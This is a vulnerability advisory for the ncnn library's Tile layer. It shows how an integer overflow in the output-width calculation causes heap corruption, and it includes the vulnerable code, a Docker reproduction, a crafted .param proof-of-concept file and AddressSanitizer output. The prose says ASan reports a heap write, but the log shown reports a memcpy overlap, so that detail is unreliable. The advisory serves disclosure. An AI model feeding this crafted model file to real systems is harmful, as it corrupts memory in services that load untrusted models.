Integer Overflow Enables Heap Corruption in Tile
Summary
A .param file whose Tile layer multiplies a large input width by a large repeat count overflows the signed 32-bit output-width computation, so Tile::forward() allocates an output buffer far smaller than the data it subsequently copies into it. The copy loop still runs the untruncated number of iterations at the untruncated stride, producing a heap buffer overflow. The PoC uses ncnnoptimize, which reaches the layer through ModelWriter::shape_inference(); no weight file is needed.
Detail
The untrusted fields are the input width, taken from the Input layer, and repeat_w, element 0 of the Tile layer's repeats array. Tile::forward() computes the output extents as plain int products and hands them to Mat::create() without any overflow check, then repeats the row copy repeat_w times using the original w:
// src/layer/tile.cpp:114
int outw = w * repeat_w;
int outh = h * repeat_h;
int outd = d * repeat_d;
int outc = channels * repeat_c;
if (outdims == 1)
{
top_blob.create(outw, elemsize, opt.blob_allocator);
}
// src/layer/tile.cpp:145
const float* ptr = bottom_blob.channel(q).depth(z).row(y);
float* outptr = top_blob.channel(q).depth(z).row(y);
for (int p = 0; p < repeat_w; p++)
{
memcpy(outptr, ptr, w * sizeof(float));
outptr += w;
}
The PoC uses a 1-D input of width 65537 and repeat_w = 65537. The true product is 65537 * 65537 = 4295098369, which wraps in int to 131073, so top_blob.create(131073, 4) reserves 131076 floats after alignment — the 524372-byte region ASan reports, including the reference count and ncnn's over-read padding.
The copy loop is bounded by repeat_w, not by outw, so it performs 65537 memcpy calls of 65537 * sizeof(float) = 262148 bytes each, advancing outptr by 65537 floats every time. The first two copies fit; the third begins at byte 524296 and runs off the end of the allocation, which is the WRITE of size 262148 ASan reports at tile.cpp:150. The remaining 65534 iterations would continue writing input data across the heap.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-integer-overflow-enables-heap-corruption-in-tile && cd ncnn-poc-integer-overflow-enables-heap-corruption-in-tile
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'POC_EOF'
7767517
2 2
Input data 0 1 data 0=65537
Tile tile 1 1 data out 1=65537
POC_EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
=================================================================
==1==ERROR: AddressSanitizer: memcpy-param-overlap: memory ranges [0x7c384c1fd808,0x7c384c23d80c) and [0x7c384c200800, 0x7c384c240804) overlap
#0 0x7c384ce1a16d in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
#1 0x64d9d2558f36 in ncnn::Tile::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/tile.cpp:150
#2 0x64d9ce882f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#3 0x64d9ce874b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#4 0x64d9ce8d49e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#5 0x64d9ce7663c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#6 0x64d9ce7e3eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#7 0x7c384c7a21c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x7c384c7a228a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x64d9ce763624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x7c384c1fd854 is located 0 bytes after 524372-byte region [0x7c384c17d800,0x7c384c1fd854)
allocated by thread T0 here:
#0 0x7c384ce1bf1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x64d9ce7f868e in fastMalloc /ncnn/src/allocator.h:62
#2 0x64d9ce7f868e in ncnn::PoolAllocator::fastMalloc(unsigned long) /ncnn/src/allocator.cpp:159
#3 0x64d9ce832b38 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:329
#4 0x64d9d2555866 in ncnn::Tile::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/tile.cpp:120
#5 0x64d9ce882f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#6 0x64d9ce874b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#7 0x64d9ce8d49e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#8 0x64d9ce7663c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#9 0x64d9ce7e3eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#10 0x7c384c7a21c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#11 0x7c384c7a228a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#12 0x64d9ce763624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x7c384c200800 is located 0 bytes inside of 262228-byte region [0x7c384c200800,0x7c384c240854)
allocated by thread T0 here:
#0 0x7c384ce1bf1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x64d9ce832bc5 in fastMalloc /ncnn/src/allocator.h:62
#2 0x64d9ce832bc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
#3 0x64d9ce764c3b in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:388
#4 0x64d9ce7e3eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#5 0x7c384c7a21c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x7c384c7a228a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x64d9ce763624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: memcpy-param-overlap ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
==1==ABORTING
Credit
Zheng Yu @ DepthFirst